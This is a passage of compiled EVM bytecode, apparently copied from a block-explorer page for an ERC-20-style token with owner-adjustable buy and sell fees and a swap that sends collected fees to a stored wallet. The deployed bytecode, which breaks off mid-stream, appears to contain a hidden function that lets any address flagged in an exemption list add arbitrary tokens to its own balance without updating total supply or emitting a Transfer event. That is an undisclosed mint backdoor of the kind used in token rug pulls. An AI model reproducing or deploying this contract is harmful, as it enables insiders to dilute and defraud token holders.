fffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117c29092919063ffffffff16565b611178565b600190509392505050565b6000600760009054906101000a900460ff16905090565b600073ffffffffffffffffffffffffffffffffffffffff16610aeb611170565b73ffffffffffffffffffffffffffffffffffffffff1603610b0b57600080fd5b6001151560036000610b1b611170565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514610b6f57600080fd5b610bc88160016000610b7f611170565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461181790919063ffffffff16565b60016000610bd4611170565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b6000610cbe610c22611170565b84610cb98560026000610c33611170565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461182d90919063ffffffff16565b611178565b6001905092915050565b600b5481565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601160159054906101000a900460ff1681565b600c5481565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610d5e61130c565b610d686000611843565b565b60036020528060005260406000206000915054906101000a900460ff1681565b610d9261130c565b80600960016101000a81548160ff021916908360ff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054610de890612416565b80601f0160208091040260200160405190810160405280929190818152602001828054610e1490612416565b8015610e615780601f10610e3657610100808354040283529160200191610e61565b820191906000526020600020905b815481529060010190602001808311610e4457829003601f168201915b5050505050905090565b6000610f2e610e78611170565b84610f2985604051806060016040528060258152602001612ac26025913960026000610ea2611170565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117c29092919063ffffffff16565b611178565b6001905092915050565b610f4061130c565b80601160166101000a81548160ff02191690831515021790555050565b6000610f71610f6a611170565b848461138a565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61100a61130c565b601160149054906101000a900460ff161561105a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611051906124fe565b60405180910390fd5b600061106530610d0d565b9050600060648383611077919061254d565b61108191906125be565b905061108c81611907565b505050565b61109961130c565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611108576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110ff90612661565b60405180910390fd5b61111181611843565b50565b61111c61130c565b80601160156101000a81548160ff0219169083151502179055507f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc159816040516111659190612128565b60405180910390a150565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156111e25750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b611221576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611218906126cd565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112ff91906121f9565b60405180910390a3505050565b611314611170565b73ffffffffffffffffffffffffffffffffffffffff16611332610db0565b73ffffffffffffffffffffffffffffffffffffffff1614611388576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137f90612739565b60405180910390fd5b565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156113f45750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b611433576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161142a906127a5565b60405180910390fd5b60008111611476576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146d90612837565b60405180910390fd5b600960019054906101000a900460ff1660ff16600960009054906101000a900460ff1660ff16101580156114b75750601160149054906101000a900460ff16155b80156115115750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156115295750601160159054906101000a900460ff165b1561156c576000600960006101000a81548160ff021916908360ff160217905550600061155530610d0d565b9050600081111561156a5761156981611907565b5b505b600060019050600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806116135750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806116de5750601160169054906101000a900460ff1680156116835750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156116dd5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b156116ec57600090506117b0565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff160361174f57600b54600a819055506117af565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036117ae57600c54600a819055505b5b5b6117bc8484848461197b565b50505050565b600083831115829061180a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118019190612012565b60405180910390fd5b5082840390509392505050565b600081836118259190612857565b905092915050565b6000818361183b9190612857565b905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6001601160146101000a81548160ff02191690831515021790555061192b816119e5565b600047905061195c600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682611c28565b506000601160146101000a81548160ff02191690831515021790555050565b8061198d57611988611c73565b6119c6565b6009600081819054906101000a900460ff16809291906119ac9061288b565b91906101000a81548160ff021916908360ff160217905550505b6119d1848484611ccf565b806119df576119de611f0a565b5b50505050565b6000600267ffffffffffffffff811115611a0257611a016128b4565b5b604051908082528060200260200182016040528015611a305781602001602082028036833780820191505090505b5090503081600081518110611a4857611a476128e3565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611aef573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b13919061245c565b81600181518110611b2757611b266128e3565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611b8e30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611178565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611bf2959493929190612a0b565b600060405180830381600087803b158015611c0c57600080fd5b505af1158015611c20573d6000803e3d6000fd5b505050505050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611c6e573d6000803e3d6000fd5b505050565b6000600a54148015611c8757506000600b54145b8015611c9557506000600c54145b611ccd57600b54600e81905550600c54600f81905550600a54600d819055506000600b819055506000600c819055506000600a819055505b565b600080611cdb83611f27565b91509150611d3183600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f6c90919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611dc682600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461182d90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e5b81600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461182d90919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611efb91906121f9565b60405180910390a35050505050565b600d54600a81905550600e54600b81905550600f54600c81905550565b60008060006064600a5485611f3c919061254d565b611f4691906125be565b90506000611f5d8286611f6c90919063ffffffff16565b90508082935093505050915091565b60008183611f7a9190612a65565b905092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611fbc578082015181840152602081019050611fa1565b60008484015250505050565b6000601f19601f8301169050919050565b6000611fe482611f82565b611fee8185611f8d565b9350611ffe818560208601611f9e565b61200781611fc8565b840191505092915050565b6000602082019050818103600083015261202c8184611fd9565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061206482612039565b9050919050565b61207481612059565b811461207f57600080fd5b50565b6000813590506120918161206b565b92915050565b6000819050919050565b6120aa81612097565b81146120b557600080fd5b50565b6000813590506120c7816120a1565b92915050565b600080604083850312156120e4576120e3612034565b5b60006120f285828601612082565b9250506020612103858286016120b8565b9150509250929050565b60008115159050919050565b6121228161210d565b82525050565b600060208201905061213d6000830184612119565b92915050565b60006020828403121561215957612158612034565b5b600061216784828501612082565b91505092915050565b6000819050919050565b600061219561219061218b84612039565b612170565b612039565b9050919050565b60006121a78261217a565b9050919050565b60006121b98261219c565b9050919050565b6121c9816121ae565b82525050565b60006020820190506121e460008301846121c0565b92915050565b6121f381612097565b82525050565b600060208201905061220e60008301846121ea565b92915050565b60008060006060848603121561222d5761222c612034565b5b600061223b86828701612082565b935050602061224c86828701612082565b925050604061225d868287016120b8565b9150509250925092565b600060ff82169050919050565b61227d81612267565b82525050565b60006020820190506122986000830184612274565b92915050565b6000602082840312156122b4576122b3612034565b5b60006122c2848285016120b8565b91505092915050565b6122d481612059565b82525050565b60006020820190506122ef60008301846122cb565b92915050565b6122fe81612267565b811461230957600080fd5b50565b60008135905061231b816122f5565b92915050565b60006020828403121561233757612336612034565b5b60006123458482850161230c565b91505092915050565b6123578161210d565b811461236257600080fd5b50565b6000813590506123748161234e565b92915050565b6000602082840312156123905761238f612034565b5b600061239e84828501612365565b91505092915050565b600080604083850312156123be576123bd612034565b5b60006123cc85828601612082565b92505060206123dd85828601612082565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061242e57607f821691505b602082108103612441576124406123e7565b5b50919050565b6000815190506124568161206b565b92915050565b60006020828403121561247257612471612034565b5b600061248084828501612447565b91505092915050565b600060408201905061249e60008301856122cb565b6124ab60208301846122cb565b9392505050565b7f43757272656e746c792070726f63657373696e672c20747279206c617465722e600082015250565b60006124e8602083611f8d565b91506124f3826124b2565b602082019050919050565b60006020820190508181036000830152612517816124db565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061255882612097565b915061256383612097565b925082820261257181612097565b915082820484148315176125885761258761251e565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006125c982612097565b91506125d483612097565b9250826125e4576125e361258f565b5b828204905092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061264b602683611f8d565b9150612656826125ef565b604082019050919050565b6000602082019050818103600083015261267a8161263e565b9050919050565b7f4552523a207a65726f2061646472657373000000000000000000000000000000600082015250565b60006126b7601183611f8d565b91506126c282612681565b602082019050919050565b600060208201905081810360008301526126e6816126aa565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612723602083611f8d565b915061272e826126ed565b602082019050919050565b6000602082019050818103600083015261275281612716565b9050919050565b7f4552523a205573696e6720302061646472657373210000000000000000000000600082015250565b600061278f601583611f8d565b915061279a82612759565b602082019050919050565b600060208201905081810360008301526127be81612782565b9050919050565b7f546f6b656e2076616c7565206d75737420626520686967686572207468616e2060008201527f7a65726f2e000000000000000000000000000000000000000000000000000000602082015250565b6000612821602583611f8d565b915061282c826127c5565b604082019050919050565b6000602082019050818103600083015261285081612814565b9050919050565b600061286282612097565b915061286d83612097565b92508282019050808211156128855761288461251e565b5b92915050565b600061289682612267565b915060ff82036128a9576128a861251e565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000819050919050565b600061293761293261292d84612912565b612170565b612097565b9050919050565b6129478161291c565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61298281612059565b82525050565b60006129948383612979565b60208301905092915050565b6000602082019050919050565b60006129b88261294d565b6129c28185612958565b93506129cd83612969565b8060005b838110156129fe5781516129e58882612988565b97506129f0836129a0565b9250506001810190506129d1565b5085935050505092915050565b600060a082019050612a2060008301886121ea565b612a2d602083018761293e565b8181036040830152612a3f81866129ad565b9050612a4e60608301856122cb565b612a5b60808301846121ea565b9695505050505050565b6000612a7082612097565b9150612a7b83612097565b9250828203905081811115612a9357612a9261251e565b5b9291505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122051079ace8d432966d7156e2a23b7a5105036d02362d9c5809a19e84ca5e775e564736f6c63430008130033
Deployed Bytecode
0x6080604052600436106101bb5760003560e01c8063590f897e116100ec578063a457c2d71161008a578063dd62ed3e11610064578063dd62ed3e14610631578063ddbf52661461066e578063f2fde38b14610697578063f7739b5f146106c0576101c2565b8063a457c2d71461058e578063a514a07d146105cb578063a9059cbb146105f4576101c2565b8063768dc710116100c6578063768dc710146104d25780637caefa891461050f5780638da5cb5b1461053857806395d89b4114610563576101c2565b8063590f897e1461045357806370a082311461047e578063715018a6146104bb576101c2565b806323b872dd116101595780633950935111610133578063395093511461039557806340b9a54b146103d257806349bd5a5e146103fd5780634a74bb0214610428576101c2565b806323b872dd14610304578063313ce5671461034157806333e862201461036c576101c2565b806313fad07a1161019557806313fad07a146102585780631694505e1461028357806318160ddd146102ae578063220f6696146102d9576101c2565b806306fdde03146101c7578063095ea7b3146101f25780631282a0a01461022f576101c2565b366101c257005b600080fd5b3480156101d357600080fd5b506101dc6106e9565b6040516101e99190612012565b60405180910390f35b3480156101fe57600080fd5b50610219600480360381019061021491906120cd565b61077b565b6040516102269190612128565b60405180910390f35b34801561023b57600080fd5b5061025660048036038101906102519190612143565b610799565b005b34801561026457600080fd5b5061026d610985565b60405161027a9190612128565b60405180910390f35b34801561028f57600080fd5b50610298610998565b6040516102a591906121cf565b60405180910390f35b3480156102ba57600080fd5b506102c36109be565b6040516102d091906121f9565b60405180910390f35b3480156102e557600080fd5b506102ee6109c8565b6040516102fb9190612128565b60405180910390f35b34801561031057600080fd5b5061032b60048036038101906103269190612214565b6109db565b6040516103389190612128565b60405180910390f35b34801561034d57600080fd5b50610356610ab4565b6040516103639190612283565b60405180910390f35b34801561037857600080fd5b50610393600480360381019061038e919061229e565b610acb565b005b3480156103a157600080fd5b506103bc60048036038101906103b791906120cd565b610c15565b6040516103c99190612128565b60405180910390f35b3480156103de57600080fd5b506103e7610cc8565b6040516103f491906121f9565b60405180910390f35b34801561040957600080fd5b50610412610cce565b60405161041f91906122da565b60405180910390f35b34801561043457600080fd5b5061043d610cf4565b60405161044a9190612128565b60405180910390f35b34801561045f57600080fd5b50610468610d07565b60405161047591906121f9565b60405180910390f35b34801561048a57600080fd5b506104a560048036038101906104a09190612143565b610d0d565b6040516104b291906121f9565b60405180910390f35b3480156104c757600080fd5b506104d0610d56565b005b3480156104de57600080fd5b506104f960048036038101906104f49190612143565b610d6a565b6040516105069190612128565b60405180910390f35b34801561051b57600080fd5b5061053660048036038101906105319190612321565b610d8a565b005b34801561054457600080fd5b5061054d610db0565b60405161055a91906122da565b60405180910390f35b34801561056f57600080fd5b50610578610dd9565b6040516105859190612012565b60405180910390f35b34801561059a57600080fd5b506105b560048036038101906105b091906120cd565b610e6b565b6040516105c29190612128565b60405180910390f35b3480156105d757600080fd5b506105f260048036038101906105ed919061237a565b610f38565b005b34801561060057600080fd5b5061061b600480360381019061061691906120cd565b610f5d565b6040516106289190612128565b60405180910390f35b34801561063d57600080fd5b50610658600480360381019061065391906123a7565b610f7b565b60405161066591906121f9565b60405180910390f35b34801561067a57600080fd5b506106956004803603810190610690919061229e565b611002565b005b3480156106a357600080fd5b506106be60048036038101906106b99190612143565b611091565b005b3480156106cc57600080fd5b506106e760048036038101906106e2919061237a565b611114565b005b6060600580546106f890612416565b80601f016020809104026020016040519081016040528092919081815260200182805461072490612416565b80156107715780601f1061074657610100808354040283529160200191610771565b820191906000526020600020905b81548152906001019060200180831161075457829003601f168201915b5050505050905090565b600061078f610788611170565b8484611178565b6001905092915050565b6107a161130c565b60008190508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107f1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610815919061245c565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561087c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a0919061245c565b6040518363ffffffff1660e01b81526004016108bd929190612489565b6020604051808303816000875af11580156108dc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610900919061245c565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b601160169054906101000a900460ff1681565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600854905090565b601160149054906101000a900460ff1681565b60006109e884848461138a565b610aa9846109f4611170565b610aa485604051806060016040528060288152602001612a9a60289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610a5a611170565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117c29092919063ffffffff16565b611178565b600190509392505050565b6000600760009054906101000a900460ff16905090565b600073ffffffffffffffffffffffffffffffffffffffff16610aeb611170565b73ffffffffffffffffffffffffffffffffffffffff1603610b0b57600080fd5b6001151560036000610b1b611170565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514610b6f57600080fd5b610bc88160016000610b7f611170565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461181790919063ffffffff16565b60016000610bd4611170565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b6000610cbe610c22611170565b84610cb98560026000610c33611170565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461182d90919063ffffffff16565b611178565b6001905092915050565b600b5481565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601160159054906101000a900460ff1681565b600c5481565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610d5e61130c565b610d686000611843565b565b60036020528060005260406000206000915054906101000a900460ff1681565b610d9261130c565b80600960016101000a81548160ff021916908360ff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054610de890612416565b80601f0160208091040260200160405190810160405280929190818152602001828054610e1490612416565b8015610e615780601f10610e3657610100808354040283529160200191610e61565b820191906000526020600020905b815481529060010190602001808311610e4457829003601f168201915b5050505050905090565b6000610f2e610e78611170565b84610f2985604051806060016040528060258152602001612ac26025913960026000610ea2611170565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117c29092919063ffffffff16565b611178565b6001905092915050565b610f4061130c565b80601160166101000a81548160ff02191690831515021790555050565b6000610f71610f6a611170565b848461138a565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61100a61130c565b601160149054906101000a900460ff161561105a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611051906124fe565b60405180910390fd5b600061106530610d0d565b9050600060648383611077919061254d565b61108191906125be565b905061108c81611907565b505050565b61109961130c565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611108576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110ff90612661565b60405180910390fd5b61111181611843565b50565b61111c61130c565b80601160156101000a81548160ff0219169083151502179055507f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc159816040516111659190612128565b60405180910390a150565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156111e25750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b611221576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611218906126cd565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112ff91906121f9565b60405180910390a3505050565b611314611170565b73ffffffffffffffffffffffffffffffffffffffff16611332610db0565b73ffffffffffffffffffffffffffffffffffffffff1614611388576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137f90612739565b60405180910390fd5b565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156113f45750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b611433576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161142a906127a5565b60405180910390fd5b60008111611476576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146d90612837565b60405180910390fd5b600960019054906101000a900460ff1660ff16600960009054906101000a900460ff1660ff16101580156114b75750601160149054906101000a900460ff16155b80156115115750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156115295750601160159054906101000a900460ff165b1561156c576000600960006101000a81548160ff021916908360ff160217905550600061155530610d0d565b9050600081111561156a5761156981611907565b5b505b600060019050600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806116135750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806116de5750601160169054906101000a900460ff1680156116835750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156116dd5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b156116ec57600090506117b0565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff160361174f57600b54600a819055506117af565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036117ae57600c54600a819055505b5b5b6117bc8484848461197b565b50505050565b600083831115829061180a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118019190612012565b60405180910390fd5b5082840390509392505050565b600081836118259190612857565b905092915050565b6000818361183b9190612857565b905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6001601160146101000a81548160ff02191690831515021790555061192b816119e5565b600047905061195c600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682611c28565b506000601160146101000a81548160ff02191690831515021790555050565b8061198d57611988611c73565b6119c6565b6009600081819054906101000a900460ff16809291906119ac9061288b565b91906101000a81548160ff021916908360ff160217905550505b6119d1848484611ccf565b806119df576119de611f0a565b5b50505050565b6000600267ffffffffffffffff811115611a0257611a016128b4565b5b604051908082528060200260200182016040528015611a305781602001602082028036833780820191505090505b5090503081600081518110611a4857611a476128e3565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611aef573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b13919061245c565b81600181518110611b2757611b266128e3565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611b8e30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611178565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611bf2959493929190612a0b565b600060405180830381600087803b158015611c0c57600080fd5b505af1158015611c20573d6000803e3d6000fd5b505050505050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611c6e573d6000803e3d6000fd5b505050565b6000600a54148015611c8757506000600b54145b8015611c9557506000600c54145b611ccd57600b54600e81905550600c54600f81905550600a54600d819055506000600b819055506000600c819055506000600a819055505b565b600080611cdb83611f27565b91509150611d3183600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f6c90919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611dc682600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461182d90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e5b81600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461182d90919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611efb91906121f9565b60405180910390a35050505050565b600d54600a81905550600e54600b81905550600f54600c81905550565b60008060006064600a5485611f3c919061254d565b611f4691906125be565b90506000611f5d8286611f6c90919063ffffffff16565b90508082935093505050915091565b60008183611f7a9190612a65565b905092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611fbc578082015181840152602081019050611fa1565b60008484015250505050565b6000601f19601f8301169050919050565b6000611fe482611f82565b611fee8185611f8d565b9350611ffe818560208601611f9e565b61200781611fc8565b840191505092915050565b6000602082019050818103600083015261202c8184611fd9565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061206482612